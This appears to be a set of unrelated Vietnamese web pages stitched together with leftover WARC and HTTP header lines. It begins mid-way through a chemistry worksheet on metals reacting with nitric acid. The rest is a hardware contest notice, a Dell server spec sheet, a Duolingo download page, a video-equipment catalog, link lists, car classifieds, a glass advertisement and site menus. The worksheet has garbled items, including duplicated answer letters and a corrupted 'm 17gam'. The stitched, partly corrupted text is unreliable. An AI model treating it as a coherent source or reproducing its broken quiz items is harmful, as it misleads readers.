1,344 lít khí NO2 (sản phẩm khử duy nhất, ở đktc) và dung dịch Y. Sục từ từ khí NH3 (dư) vào dung dịch
Y, sau khi phản ứng xảy ra hoàn toàn thu được m gam kết tủa. Phần trăm về khối lượng của Cu trong hỗn
hợp X và giá trị của m lần lượt là
A. 21,95% và 2,25. B. 78,05% và 2,25. C. 21,95% và 0,78. D. 78,05% và 0,78
Bài 24. Hòa tan hết m gam bột kim loại nhôm trong dung dịch HNO3, thu được 13,44 lít (đktc) hỗn hợp ba
khí NO, N2O và N2. Tỉ lệ thể tích VNO : VN2O : VN2 = 3:2:1. Trị số của m là:
A. 31,5 gam B. 32,5 gam B. 40,5 gam C. 24,3 gam
Bài 25. Cho a gam hỗn hợp E (Al, Mg, Fe ) tác dụng với dung dịch HNO3 dư thu được hỗn hợp khí
gồm 0,02 mol NO, 0,01 mol N2O, 0,01 mol NO2 và dung dịch X. Cô cạn dung dịch X thu được 11,12 gam
muối khan. a có giá trị là
A. 1,82. B. 11,2. C. 9,3. D. kết quả khác.
Bài 26. Cho 61,2 gam hỗn hợp X gồm Cu và Fe3O4 tác dụng với dung dịch HNO3 loãng, đun nóng và
khuấy đều. Sau khi các phản ứng xảy ra hoàn toàn, thu được 3,36 lít khí NO (sản phẩm khử duy nhất, ở
đktc), dung dịch Y và còn lại 2,4 gam kim loại. Cô cạn dung dịch Y, thu được m gam muối khan. Giá trị
của m là
A. 151,5. B. 137,1. C. 97,5. D. 108,9.
Bài 27. Cho m gam hỗn hợp X gồm Fe và Cu tác dụng với dung dịch HCl dư thu được dung dịch Y, m
17gam chất rắn không tan và 2,688 lít H2 (đkc). Để hòa tan m gam hỗn hợp X cần tối thiểu bao nhiêu ml
dung dịch HNO3 1M (biết rằng chỉ sinh ra sản phẩm khử duy nhất là NO)
A. 1200ml B. 800ml C. 720ml D.880ml
Bài 28. Người ta thực hiện 2 thí nghiệm sau:
TN1: Cho 38,4 gam Cu vào 2,4 lít dung dịch HNO3 0,5M, sau phản ứng thu được V1 lít NO (đkc)
TN2: Cũng cho khối lượng đồng như trên vào 2,4 lít dung dịch gồm HNO3 0,5M và H2SO4 0,2M, sau phản
ứng thu được V2 lít NO (đkc). Mối quan hệ giữa V2 và V1 là:
A. 2V2=5V1 B. 3V2= 4V1 C. V2=2V1 D. 3V2=2V1
Bài 29. Cho 13,24 gam hỗn hợp X gồm Al, Cu, Mg tác dụng với oxi dư thu được 20,12 gam hỗn hợp
3 oxít. Nếu cho 13,24 gam hỗn hợp X trên tác dụng với dung dịch HNO3 dư thu được dung dịch Y
và sản phẩm khử duy nhất là khí NO. Cô cạn dung dịch Y thu được bao nhiêu gam chất rắn khan
A. 64,33 gam. B. 66,56 gam. C. 80,22 gam. D. 82,85 gam. Bài 30. Hòa tan hoàn toàn hỗn hợp gồm Zn và ZnO bằng dung dịch HNO3 loãng dư. Kết thúc thí nghiệm
không có khí thoát ra, dung dịch thu được có chứa 8 gam NH4NO3 và 113,4 gam Zn(NO3)2. Phần trăm số
mol Zn có trong hỗn hợp ban đầu là bao nhiêu?
A. 66,67%. B. 33,33%. C. 16,66%. D. 93,34%.
Bài 31. Hòa tan hoàn toàn 11,9 gam hỗn hợp 2 kim loại (Zn, Al) bằng dung dịch H2SO4 đặc nóng thu
được 7,616 lít SO2 (đktc), 0,64 gam S và dung dịch X. Tính khối lượng muối trong X.
A. 60,3 gam. B. 50,3 gam. C. 72,5 gam. D. 30,3 gam.
Bài 32. Chia m gam hỗn hợp Fe, Cu làm 2 phần bằng nhau:
Phần 1: Cho tác dụng với axit HCl dư thì thu được 2,24 lit khí H2 (đktc).
Phần 2: Cho tác dụng với axit HNO3 loãng thì thu được 4,48 lit khí NO (đktc).
Thành phần % khối lượng kim loại Fe trong hỗn hợp là:
A. 36,84%. B. 26,6%. C. 63,2%. D. 22,58%.
Bài 33. Hỗn hợp X gồm hai kim loại A và B đứng trước H trong dãy điện hóa và có hóa trị không đổi trong
các hợp chất. Chia m gam X thành hai phần bằng nhau: - Phần 1: Hòa tan hoàn toàn trong dung dịch chứa axit HCl và H2SO4 loãng tạo ra 3,36 lít khí H2. - Phần 2: Tác dụng hoàn toàn với dung dịch HNO3 thu được V lít khí NO (sản phẩm khử duy nhất).
Biết các thể tích khí đo ở đktc. Giá trị của V là
A. 2,24 lít. B. 3,36 lít. C. 4,48 lít. D. 6,72 lít.
Bài 34. Cho một hỗn hợp X gồm Fe và một kim loại M có hóa trị không đổi. Khối lượng X là 10,83 gam.
Chia X ra làm phần bằng nhau:
Phần I tác dụng với dung dịch HCl dư cho ra 3,192 lít H2 (đktc).
Phần II tác dụng với dung dịch HNO3 loãng dư cho ra khí duy nhất là NO có thể tích là 2,688 lít (đktc) và
dung dịch A. Kim loại khối lượng M và % M trong hỗn hợp X là :
A. Al, 53,68% B. Cu, 25,87% C. Zn, 48,12% D. Al 22,44%
Bài 35. Cho 6,72 gam Fe vào 400 ml dung dịch HNO3 1M, đến khi phản ứng xảy ra hoàn toàn, thu được
khí NO (sản phẩm khử duy nhất) và dung dịch X. Dung dịch X có thể hoà tan tối đa m gam Cu. Giá trị của
m là
A. 1,92. B. 3,20. C. 0,64. D. 3,84.
Bài 36. Cho a mol Cu kim loại tan hoàn toàn trong 120 ml dung dịch X gồm HNO3 1M và H2SO4 0,5M
(loãng) thu được V lít khí NO duy nhất (đktc). Tính V?
A. 14,933 lít. B. 12,32 lít. C. 18,02 lít. D. 1,344 lít
Bài 37. Cho 5,8 gam muối FeCO3 tác dụng với dung dịch HNO3 vừa đủ, thu được hỗn hợp khí chứa CO2, NO và dung dịch X. Cho dung dịch HCl rất dư vào dung dịch X được dung dịch Y, dung dịch Y này hòa
tan được tối đa m gam Cu, sinh ra sản phẩm khử NO duy nhất. Giá trị của m là
A. 64 gam B. 11,2 gam C. 14,4 gam D. 16 gam
Bài 38. Cho 5,6 gam Fe vào 200 ml dung dịch Cu(NO3)2 0,5M và HCl 1M thu được khí NO và m gam kết
tủa. Xác định m. Biết rằng NO là sản phẩm khử duy nhất của NO-3 và không có khí H2 bay ra.
A. 1,6 gam B. 3,2 gam C. 6,4 gam D. đáp án khác.
Bài 39. Cho hỗn hợp gồm 1,12 gam Fe và 1,92 gam Cu vào 400 ml dung dịch chứa hỗn hợp gồm H2SO4
0,5M và NaNO3 0,2M. Sau khi các phản ứng xảy ra hoàn toàn, thu được dung dịch X và khí NO (sản
phẩm khử duy nhất). Cho V ml dung dịch NaOH 1M vào dung dịch X thì lượng kết tủa thu được là lớn
nhất. Giá trị tối thiểu của V là
A. 240. B. 120. C. 360. D. 400.
Bài 40. Cho 3,2 gam Cu tác dụng với 100ml dung dịch hỗn hợp HNO3 0,8M + H2SO4 0,2M, sản phẩm
khử duy nhất của HNO3 là khí NO. Số gam muối khan thu được là
A. 5,64. B. 7,9. C. 8,84. D. 6,82
Bài 41. Dung dịch A chứa 0,01 mol Fe(NO3)3 và 0,15 mol HCl có khả năng hòa tan tối đa bao nhiêu gam
Cu kim loại? (Biết NO là sản phẩm khử duy nhất)
A. 2,88 gam. B. 3,92 gam. C. 3,2 gam. D. 5,12 gam.
Trên con đường thành công không có dấu chân của kẻ lười biếng!
--->Sưu tầm và biên soạn
Bạn
**Permissions in this forum:** **không có quyền**trả lời bài viết


markdown:
Cách tham dự vô cùng đơn giản: Bạn chỉ cần chụp ảnh bo mạch chủ ROG thuộc series Z97 hay X99 với mẫu Rampage V Extreme cùng mẫu sticker dán tên mình trên khu vực CPU rồi upload hình lên là xong. Cực kỳ đơn giản đúng không? Hãy xem thử mẫu ví dụ dưới đây từ trang chủ ROG:
Cách đăng ảnh vui lòng click vào nguồn dưới đây. Do ASUS không nói rõ thời gian kết thúc vì thế hãy nhanh chân lên trước khi chương trình dừng lại.
Nguồn: [rog.asus.com]

WARC-Type: response

Content-Type: application/http; msgtype=response

WARC-Identified-Payload-Type: application/xhtml+xml

Server: Apache

Connection: close

Pragma: private

Cache-Control: private

Set-Cookie: bb_lastactivity=0; expires=Wed, 16-Jan-2019 15:08:18 GMT; Max-Age=31536000; path=/

Vary: User-Agent

Content-Type: text/html; charset=UTF-8


markdown:
Máy chủ Dell PowerEdge T20
- Intel(R) Xeon(R) Processor E3-1225 v3 3.2GHz 8M Cache,4C/4T,turbo,84W.
- 4GB UDIMM, 1600 MT/s, Low Volt, Single Rank, x4 Data Width.
- 1TB 7.2K Entry SATA 3.5in Cabled Hard Drive.
- Form: tower.
**Mã sản phẩm: ** **P000182**
**Đơn giá:** **Vui lòng liên hệ**
**Điện thoại:** (028) 38682371
**Hotline:** **0917 39 7766**
**Email: ** [info@switch-router.com](mailto:info@switch-router.com)
| |Thành phần | |Đặc tả kỹ thuật
|Processor(s):||Intel(R) Xeon(R) Processor E3-1225 v3 3.2GHz 8M Cache,4C/4T,turbo,84W|
|Processor Sockets:||1|
|Chipset:||Intel C226|
|Memory:||Up to 32GB (4 DIMMs): 4GB UDIMM, 1600 MT/s, Low Volt, Single Rank, x4 Data Width|
|RAID Controller:||Intel Rapid Storage Controller 12.0 Software RAID|
|Drive Bays:|| Up to six internal (cabled) hard drives in total: |
•Up to four 3.5” SATA hard drives, plus
•Up to two 2.5” SATA hard drives (require expansion kits) with optional controller card
|Hard Drive:||1TB 7.2K Entry SATA 3.5in Cabled Hard Drive|
|Internal Storage:||Up to 13TB|
|Optical Drive:||DVD RW|
|Power Supply:||Single Power Supply, 290W|
|Form Factor:||Mini Tower|

WARC-Truncated: length

Pragma: no-cache

Cache-Control: no-cache, pre-check=0, post-check=0

Vary: Accept-Encoding,User-Agent

Set-Cookie: nv3c_E1r0z_nvvithemever=mw%2C%2C; expires=Wed, 16-Jan-2019 15:40:21 GMT; path=/; domain=.switch-router.com; httponly

Content-Language: vi

Content-Type: text/html; charset=utf-8


markdown:
Hiện nay có rất nhiều các chương trình được sử dụng dành riêng cho các dòng máy chạy và cài đặt hệ điều hành iOS, trong đó có cả
**Duolingo**.
Ứng dụng này có rất nhiều chức năng, bạn có thể học rất nhiều loại ngôn ngữ cùng một lúc nhưng không cần phải sử dụng tới các ứng dụng khác.
Với ứng dụng này bạn sẽ tiết kiệm được rất nhiều công sức và thời gian học nhé!
Advertisements
## Tải và cài đặt Duolingo cho điện thoại iPhone, iPad.
Sau đây là giới thiệu chi tiết về Duolingo và hướng dẫn tải ứng dụng Duolingo về cho
[, iPad. điện thoại iPhone](http://taiphanmemnhanh.com/muc/iphone)
### Giới thiệu ứng dụng Duolingo:
Với
**ứng dụng Duoling trên điện thoại iPhone, iPad**, bạn tha hồ lựa chọn nhiều loại ngôn ngữ khác như tiếng Anh, Đức, Ý, Trung, Pháp… để thu thập thêm kiến thức nhiều hơn nữa. **Ứng dụng Duolingo** còn giúp bạn rèn luyện khả năng bằng cách dịch ngôn ngữ bạn đang theo học.
Muốn theo
[học ngoại ngữ](http://taiphanmemnhanh.com/loai/ung-dung-hoc-tap) với **Duolingo** trên điện thoại iPhone, iPad trước tiên bạn cần đăng nhập tài khoản của mình trên Google hoặc là
Để người học có thể tiếp thu nhanh chóng và có nhiều từ ngữ hơn, ứng dụng
**Duolingo cho điện thoại iPhone, iPad** còn cung cấp cho bạn rất nhiều bài học từ mức độ dễ đến khó.
Bạn hãy chia sẻ ứng dụng này thông qua các mạng xã hội như Facebook,
**Zalo**… để mọi người có thể sử dụng ứng dụng này vào việc học tập nhé!
### Các chức năng cơ bản của Duolingo trên điện thoại iPhone, iPad:
+ Bạn có thể chia sẻ các bài bài tập của mình đã học trên các mạng xã hội.
+ Được lựa chọn ngôn ngữ học theo sức lực của bản thân.
+ Dịch được ngôn ngữ theo ý muốn
+ Các bài học được phân loại theo mức độ từ dễ đến khó.
+ Cung cấp nhiều dạng bài tập dịch hơn.
### Liên kết tải Ứng dụng học ngôn ngữ trên iPad, iPhone nhanh về máy:
Link tải dưới đây được TaiPhanMemNhanh.com lấy từ kho ứng dụng của Android/Apple. Bạn chỉ cần nhấn chuột vào liên kết dưới đây là có thể tiến hành
**Tải Nhanh Ứng dụng học ngôn ngữ trên iPad, iPhone** về điện thoại của bạn. [Tải Duolingo cho iPad, iPhone tại đây](http://taiphanmemnhanh.com/go?u=https://itunes.apple.com/us/app/duolingo-learn-spanish-french/id570060128?at=11lwIV&mt=8) [Tải Ứng dụng học ngôn ngữ trên iPad, iPhone cho Android tại đây](http://taiphanmemnhanh.com/go?u=https://play.google.com/store/apps/details?id=com.malcolmsoft.powergrasp&hl=vi)
Việc cài đặt ứng dụng rất đơn giản, bạn hoàn toàn có thể tự mình cài đặt, vì cài Ứng dụng học ngôn ngữ trên iPad, iPhone giống hệt như cài các ứng dụng khác.
TaiPhanMemNhanh.com – Chúc bạn tải và cài đặt Ứng dụng học ngôn ngữ trên iPad, iPhone thành công! Bạn có thể tìm hiểu thêm nhiều bài viết về Ứng dụng học ngôn ngữ trên iPad, iPhone khác ở phần bài viết liên quan.

WARC-Identified-Payload-Type: text/html

Server: Nginx-VPSSIM

Vary: Cookie

Cache-Control: max-age=0, no-cache


markdown:
Hotline HN (Lê Văn Lương, Thanh Xuân): 093 449 8189
Hotline HCM (Chung cư An Sương, Quận 12): 093 629 7289
Đăng nhập
/
Đăng ký
Tài khoản
*
Mật khẩu
*
Quên mật khẩu
Trang chủ
Hãng sản xuất
Tin tức
Giới thiệu
Liên hệ
0
sản phẩm
0
đ
Danh mục sản phẩm
BLACKMAGIC DESIGN
Professional Cameras
DaVinci Resolve &Fusion Software
ATEM Live Production Switchers
Disk Recorders and Storage
Capture and Playback
Cintel Film Scanning
Standards Conversion
Broadcast Converters
Video Monitoring
Audio Monitoring
Test Equipment
MultiView
Routing and Distribution
H.264 Encoding
Professional Recording and Monitoring
Ultimatte
Thiết bị dựng phim
Hệ thống dựng phi tuyến tính
Card dựng phi tuyến tính
Phần mềm dựng phim & kỹ xảo
Máy trạm dựng phim
Hệ thống hiệu chỉnh màu
Thiết bị lưu trữ Video
Video capture and playback
Card Capture
Video Capture Cards
Pro Capture Card
USB Video Capture
Thunderbolt Video Capture
Multi Input Capture
Card âm thanh
Card âm thanh Pro
Card âm thanh cho Laptop & PC
Sound Card cho Mac
Card âm thanh cho Game
Phần mềm Video
Phần mềm dựng phim & kỹ xảo
Phần mềm hoạt hoạt
Phần mềm 3D
Phần mềm hiệu chỉnh màu sắc làm phim
Phần mềm Phát sóng
Phần mềm kỹ xảo
Phần mềm Streaming
Phần mềm làm DVD Production
Phần mềm mã hoá Encoding
Phần mềm tạo chữ Titlers & CG
Phần mềm Media Asset Management
Phần mềm phục hồi phim Film Restoration
Phần mềm Plug-Ins, Add-Ons
Video Đào tạo dụng phim, kỹ xảo
Thiết bị lưu trữ
Ổ cứng thể rắn SSD
Ổ cứng Thunderbolt
Thiết bị lưu trữ Video
Thiết bị lưu trữ mạng
Ổ RAID
Ổ cứng di động
Thẻ nhớ
Video Pro
Distribution Amplifiers (DA\'s)
Hệ thống truyền dẫn không dây
Playout Server Phát sóng
Video Extender
Converters
Giải pháp
LCD Monitors
Thiết bị chuyển mạch Video
Video Capture
Hệ thống dựng phi tuyến tính
Intercom Systems
Hệ thống Hiệu chỉnh Màu
Lưu trữ Media
Telepromters
Chromakeyers
Máy tạo chữ Titlers & CG
Giải pháp lưu trữ Video & Streaming
Video Player/Recorders
Lighting & Studio
Live Studio & Broadcast
OpenGear
Audio Pro
Card thu âm làm tiếng
Máy ghi âm
USB Audio/MIDI Interfaces
Keyboard Controllers
Loa kiểm âm Studio Monitor
Micro thu âm
Mixers
Phần mềm thu âm làm tiếng
Hệ thống loa
Loa 2.0
Loa 4.1
Loa 2.1
Loa 5.1
Loa 7.1
Loa Bookself
Loa không dây Wireless Streaming
Loa máy tính
Loa xách tay
Loa kiểm tra Monitor
Subwoofers
Phụ kiện loa
Amplifiers
Tất cả danh mục
BLACKMAGIC DESIGN
Thiết bị dựng phim
Card Capture
Card âm thanh
Phần mềm Video
Thiết bị lưu trữ
Video Pro
Audio Pro
Hệ thống loa
Tai nghe
Card TV
Card màn hình Pro
Máy trạm workstation
Máy quay phim
Video Converter
Video Encoder
Video Streaming
Video Conference
3D
Phụ kiện Apple
Phụ kiện Notebook
Wireless AV
Thiết bị khác
Hàng thanh lý
Hãng sản xuất
Trang chủ
Video Pro
Video Pro
(196 sản phẩm)
Sắp xếp theo
Mới nhất
Giá: thấp -> cao
Giá: cao -> thấp
Xem nhiều nhất
Nhiều nhận xét
Đánh giá cao nhất
Tên A->Z
Xem theo:
Mini Converter Sync Generator
5.322.000đ
Cho vào giỏ
Mini Converter SDI Multiplex 4K
13.499.000đ
Cho vào giỏ
Mini Converter SDI Distribution
5.322.000đ
Cho vào giỏ
Mini Converter Optical Fiber 4K
13.499.000đ
Cho vào giỏ
Mini Converter SDI to Audio 4K
8.048.000đ
Cho vào giỏ
Mini Converter Audio to SDI 4K
8.048.000đ
Cho vào giỏ
Mini Converter Quad SDI to HDMI 4K 2
13.499.000đ
Cho vào giỏ
Mini Converter H/Duty SDI to Analog 4K
9.397.000đ
Cho vào giỏ
Mini Converter H/Duty SDI to HDMI 4K
9.397.000đ
Cho vào giỏ
Mini Converter H/Duty HDMI to SDI 4K
9.397.000đ
Cho vào giỏ
Avid Artist | DNxIO
Giá liên hệ
Cho vào giỏ
Magicsoft Cleaner
Giá liên hệ
Cho vào giỏ
EDIUS Workgroup 8
Giá liên hệ
Cho vào giỏ
GRASS VALLEY STORM 3G Elite
Giá liên hệ
Cho vào giỏ
GRASS VALLEY STORM Pro
Giá liên hệ
Cho vào giỏ
MagicSoft Recorder
Giá liên hệ
Cho vào giỏ
Teranex Mini - Quad SDI to 12G-SDI
13.499.000đ
Cho vào giỏ
Teranex Mini - 12G-SDI to Quad SDI
13.499.000đ
Cho vào giỏ
Xem trang
1
2
3
4
5
6
7
...
Tiếp theo

Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

Content-Type: text/html


markdown:
Chúng tôi khuyến khích bạn đọc đăng ký dịch vụ thông báo khi xuất bản với tạp chí này. Sử dụng đường dẫn
[Đăng ký](/index.php/yhonline/user/register) ở đầu trang chủ của tạp chí này. Đăng ký sẽ giúp bạn đọc nhận được Mục lục của mỗi số tạp chí mới qua đường email. Danh sách đăng ký cũng cho phép tạp chí khẳng định một tỷ lệ ủng hộ hoặc lượng độc giả nhất định. Xem [Tuyên bố về Tự do các nhân](/index.php/yhonline/about/submissions#privacyStatement), một cam kết đảm bảo với bạn đọc rằng tên và địa chỉ emmail của họ sẽ không được dùng cho các mục đích khác.

Server: Apache/2.2.15 (CentOS)

Cache-Control: public


markdown:
##
[
Hệ thống nạp - xả ở động cơ đốt trong ](http://technicalvnplus.com/article/He-thong-nap--xa-o-dong-co-dot-trong)
Hệ thống nạp -xả (còn gọi là hệ thống thay đổi khí hoặc hệ thống trao đổi khí) có chức năng lọc sạch không khí rồi nạp vào không gian công tác của xylanh và xả khí thải ra khỏi động cơ....
[Cơ Khí](http://technicalvnplus.com/cokhi)3266
##
[
Tài liệu mastercam - Hướng dẫn học lập trình gia công cơ khí ](http://technicalvnplus.com/article/Tai-lieu-mastercam--Huong-dan-hoc-lap-trinh-gia-cong-co-khi)
Tài liệu mastercam này được cung cấp bởi vntechpay, các tài liệu cung cấp đầy đủ các kiến thức để người học có thể áp dụng vào thực tế ngay sau khi học chất lượng - uy tín - giá rẻ
[Cơ Khí](http://technicalvnplus.com/cokhi)3159
##
[
Solidworks 2014 - Tài liệu học solidworks đầy đủ các module ](http://technicalvnplus.com/article/Solidworks-2014--Tai-lieu-hoc-solidworks-day-du-cac-module)
Phiên bản Solidworks 2014 hầu như được sử dụng rất nhiều bởi nhiều công ty , không chỉ là thiết kế cơ khí mà còn dùng trong nhiều các lĩnh vực khác có liên quan đến các các khối 3D
[Cơ Khí](http://technicalvnplus.com/cokhi)3042
##
[
Tài liệu học lập trình cnc - Gia công cơ khí trên máy cnc ](http://technicalvnplus.com/article/Tai-lieu-hoc-lap-trinh-cnc--Gia-cong-co-khi-tren-may-cnc)
Học lập trình cnc hoàn chỉnh nhất thì bạn mới có thể xây dựng những đoạn Gcode để có thể thực hiện việc gia công trên máy cnc
[Cơ Khí](http://technicalvnplus.com/cokhi)2995
##
[
Công nghệ gia công rãnh và ren - Phần 1 ](http://technicalvnplus.com/article/Cong-nghe-gia-cong-ranh-va-ren---Phan-1)
Gia công rãnh và ren đều hoạt động gia công đơn điểm thực hiện trên máy tiện, máy tiện tự động, hoặc các trung tâm gia công
[Cơ Khí](http://technicalvnplus.com/cokhi)2911
##
[
Tải phần mềm Cimatron E13 - Review đánh phiên bản ](http://technicalvnplus.com/article/Tai-phan-mem-Cimatron-E13--Review-danh-phien-ban)
Phiên bản phần mềm Cimatron E13 đã có nhiều cải tiếng từ hãng với mục đích giúp thân thiện với người dùng cũng như mang lại cho bạn một công cụ CAD/CAM/CNC hoàn hảo nhất
[Cơ Khí](http://technicalvnplus.com/cokhi)2894

Cache-Control: private, must-revalidate


markdown:
TRƯỜNG THCS LỘC THẮNG - BẢO LÂM - LÂM ĐỒNG
ĐỊA CHỈ : KHU 2 TT LỘC THẮNG PHONE : 0633877076 WEBSITE : http://thcslocthang.co.cc FORUM : http://thcslocthang.forum8.biz
![]()
|21/03/2011||Never||0|![]()
|152|
|Top posters|
Admin
![]()
![]()
![]()
![]()
![]()
![]()
![]()
![]()
![]()
![]()
|Latest topics|
January 2018
|Tìm kiếm|
|Mục lục|
| |

X-Content-Type-Options: nosniff

P3P: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT"

Cache-Control: no-cache

X-XSS-Protection: 1; mode=block


markdown:
![ Xe tải Hyundai cũ giá rẻ](http://cdn.thegioiamthuc.com.vn/asset/home/img/250/xe_tai_hyundai_cu_gia_re20160107100043.jpg)
![ Những món ngon lạ miệng từ thịt gà](http://cdn.thegioiamthuc.com.vn/asset/home/img/250/58aa93781a2561487573880.jpg)
[
Màu nước thực phẩm nhỏ mua ở đâu? ](http://thegioiamthuc.com.vn/the-gioi-am-thuc/mau-nuoc-thuc-pham-nho-mua-o-dau-266.html)
[
[ Thế giới ẩm thực ] Top 10 món ăn kinh dị nhất thế giới ](http://thegioiamthuc.com.vn/the-gioi-am-thuc-top-10-mon-an-kinh-di-nhat-the-gioi-265.html)
[
[ Thế giới ẩm thực ] Những món ăn vặt ngon nhất thế giới ](http://thegioiamthuc.com.vn/the-gioi-am-thuc-nhung-mon-an-vat-ngon-nhat-the-gioi-262.html)
[
[ Thế giới ẩm thực ] Các món ăn nổi tiếng thế giới ](http://thegioiamthuc.com.vn/the-gioi-am-thuc-cac-mon-an-noi-tieng-the-gioi-261.html)
[
Chất liệu in thực đơn tiệc cưới ](http://thegioiamthuc.com.vn/chat-lieu-in-thuc-don-tiec-cuoi-60.html)
[
Khởi nghiệp với nhà hàng kem tươi ](http://thegioiamthuc.com.vn/khoi-nghiep-voi-nha-hang-kem-tuoi-64.html)
[
[Hải sản ngon] Mua bán hải sản tươi sống ](http://thegioiamthuc.com.vn/hai-san-ngon-mua-ban-hai-san-tuoi-song-78.html)
[
[Hải sản ngon] Hải sản tươi sống Vũng Tàu ](http://thegioiamthuc.com.vn/hai-san-ngon-hai-san-tuoi-song-vung-tau-90.html)
[
[Hải sản ngon] Giá hải sản tươi sống ](http://thegioiamthuc.com.vn/hai-san-ngon-gia-hai-san-tuoi-song-80.html)

Server: nginx


markdown:
![ Nhà mái Thái gác lửng - Sơn đuổi muỗi Antimos](http://cdn.thegioiamthuc.com.vn/asset/home/img/250/nha_mai_thai_gac_lung_son_duoi_muoi_antimos20151225152601.jpg)
[Nhà mái Thái gác lửng - Sơn đuổi muỗi Antimos](http://thegioiamthuc.com.vn/nha-mai-thai-gac-lung-son-duoi-muoi-antimos-158.html) [Nhà mái Thái gác lửng - Sơn đuổi muỗi Antimos](http://thegioiamthuc.com.vn/nha-mai-thai-gac-lung-son-duoi-muoi-antimos-158.html) [
Màu nước thực phẩm nhỏ mua ở đâu? ](http://thegioiamthuc.com.vn/the-gioi-am-thuc/mau-nuoc-thuc-pham-nho-mua-o-dau-266.html)
[
[ Thế giới ẩm thực ] Top 10 món ăn kinh dị nhất thế giới ](http://thegioiamthuc.com.vn/the-gioi-am-thuc-top-10-mon-an-kinh-di-nhat-the-gioi-265.html)
[
[ Thế giới ẩm thực ] Những món ăn vặt ngon nhất thế giới ](http://thegioiamthuc.com.vn/the-gioi-am-thuc-nhung-mon-an-vat-ngon-nhat-the-gioi-262.html)
[
[ Thế giới ẩm thực ] Các món ăn nổi tiếng thế giới ](http://thegioiamthuc.com.vn/the-gioi-am-thuc-cac-mon-an-noi-tieng-the-gioi-261.html)
[
Chất liệu in thực đơn tiệc cưới ](http://thegioiamthuc.com.vn/chat-lieu-in-thuc-don-tiec-cuoi-60.html)
[
Khởi nghiệp với nhà hàng kem tươi ](http://thegioiamthuc.com.vn/khoi-nghiep-voi-nha-hang-kem-tuoi-64.html)
[
[Hải sản ngon] Mua bán hải sản tươi sống ](http://thegioiamthuc.com.vn/hai-san-ngon-mua-ban-hai-san-tuoi-song-78.html)
[
[Hải sản ngon] Hải sản tươi sống Vũng Tàu ](http://thegioiamthuc.com.vn/hai-san-ngon-hai-san-tuoi-song-vung-tau-90.html)
[
[Hải sản ngon] Giá hải sản tươi sống ](http://thegioiamthuc.com.vn/hai-san-ngon-gia-hai-san-tuoi-song-80.html)


markdown:
Tin bán ôtô
1033
Tin bán xe hạng sang
147
Bán/cho thuê xe công trình
289
Bán/thuê xe chuyên dụng
290
Xe khách-xe du lịch - xe Bus
96
Tin bán xe tải
545
Phụ tùng xe tải & công trình
297
Tin bán phụ tùng
563
Tin bán phụ kiện
874
Dụng cụ &Thiết bị sửa chữa
84
Dịch vụ thuê xe & vận tải
511
Dịch vụ xe cưới
210
Dịch vụ vận tải
19
Dịch vụ sửa xe
373
Dịch vụ chăm sóc xe
379
Dịch vụ độ xe
100
Sơn, thân vỏ, gầm xe
77
Điểm gửi xe & trạm xăng
61
Bảo hiểm
42
Cứu hộ-Sửa xe trên đường
46
Thủ tục-thông tin-trả góp
32
Kiến thức học lái xe
262
Danh ba website ôtô
149
Danh bạ salon & showroom
178
Danh bạ trường dạy lái xe
212
Bảng giá xe
9


markdown:
# Cửa kính cường lực mặt tiền
Công ty chúng tôi là đơn vị chuyên nhận thi công và cung cấp các sản phẩm về kính,kính cường lực trong xây dựng và dân dụng.
Nhận báo giá thi côngg kính cường lực chất lượng cao, bảo hành chu đáo.
## Kính cường lực là gì?
Kính cường lực được sản xuất theo phương pháp gia cường dao động ngang trên dây chuyền công nghệ hiện đại theo tiêu chuẩn châu âu. Kính nổi chất lượng cao được gia nhiệt đến điểm biến dạng (khoảng 6500C) và sau đó nhanh chóng làm nguội bằng luồng khí lạnh thổi lên bề mặt tấm kính một cách đồng đều và chính xác để làm đông cứng các ứng suất nén trên bề mặt kính. Qui trình này không làm thay đổi tính năng truyền sáng và tỏa nhiệt của kính nhưng nó làm tăng sức chịu nén bề mặt lên đến hơn 10.000psi (trong khi kính nổi thông thường chỉ chịu được dưới 3.500psi). Áp suất của gió, sự va đập của vật thể lạ và những ứng suất nhiệt được tạo nên từ những yếu tố khác phải lớn hơn sức nén này thì kính cường lực mới có thể bị vỡ.
Toàn bộ quy trình gia cường vận hành tự động theo chương trình đã được thiết lập bởi các chuyên gia hàng đầu trong lĩnh vực tôi kính. Chất lượng sản phẩm được kiểm tra nghiêm ngặt theo phương pháp thử va đập thường xuyên theo định kỳ dựa trên tiêu chuẩn ANSI Z97.1: 1984 của Mỹ. Chính vì vậy mà chất lượng của Kính cường lực luôn ổn định và đạt các tiêu chuẩn chất lượng quốc tế: BS 6206: 1981 của Anh, ANSI Z97.1: 1984 của Mỹ.
Các sản phẩm cung cấp khác như cửa cuốn, bảng hiệu quảng cáo,
[cửa cuốn khe thoáng](http://thienphuocthinh.vn/loai/cua-cuon-duc-khe-thoang/)…

Link: <http://thienphuocthinh.vn/wp-json/>; rel="https://api.w.org/", <http://thienphuocthinh.vn/?p=230>; rel=shortlink


markdown:
Trang chủ
Giải trí
Xem bói
Xem tướng
Xem tử vi
Phong thuỷ
Âm nhạc
Điện ảnh
TRUYỀN HÌNH
GÓC VUI
TRUYỆN
GIA ĐÌNH
Làm cha mẹ
Hạnh phúc gia đình
GIỚI TÍNH & tình dục
Ẩm thực
Chăm sóc trẻ
Dinh dưỡng
Món ngon
Thuốc vườn nhà
Sống khoẻ
ĐỜI SỐNG
THỜI TRANG
Công nghệ
XE 360
THỂ THAO
Pháp luật
Search
THỰC HÀNH
Trang chủ
Giải trí
Xem bói
Xem tướng
Xem tử vi
Phong thuỷ
Âm nhạc
Điện ảnh
TRUYỀN HÌNH
GÓC VUI
TRUYỆN
GIA ĐÌNH
Làm cha mẹ
Hạnh phúc gia đình
GIỚI TÍNH & tình dục
Ẩm thực
Chăm sóc trẻ
Dinh dưỡng
Món ngon
Thuốc vườn nhà
Sống khoẻ
ĐỜI SỐNG
THỜI TRANG
Công nghệ
XE 360
THỂ THAO
Pháp luật
Home
Fashion
Vogue
Vogue
Latest
Latest
Featured posts
Most popular
7 days popular
By review score
Random
Vogue
Beginner: Are you stuck in programming should not do
admin
-
18/06/2017
Vogue
Designer fashion show kicks off Variety Week
Vogue
My microwave is too small to fit the microwave popcorn bag
Vogue
Starbucks secret menu the drinks you didn’t know you can ask for
- Advertisement -
LATEST NEWS
Hoàng My quyến rũ như nữ thần
-
07/05/2012
0
Niềm hạnh phúc vô bờ bến của Man City trong ngày đăng quang
14/05/2012
Giám khảo The Voice ‘phát cuồng’ vì cô bé 17 tuổi
09/07/2012
MUST READ
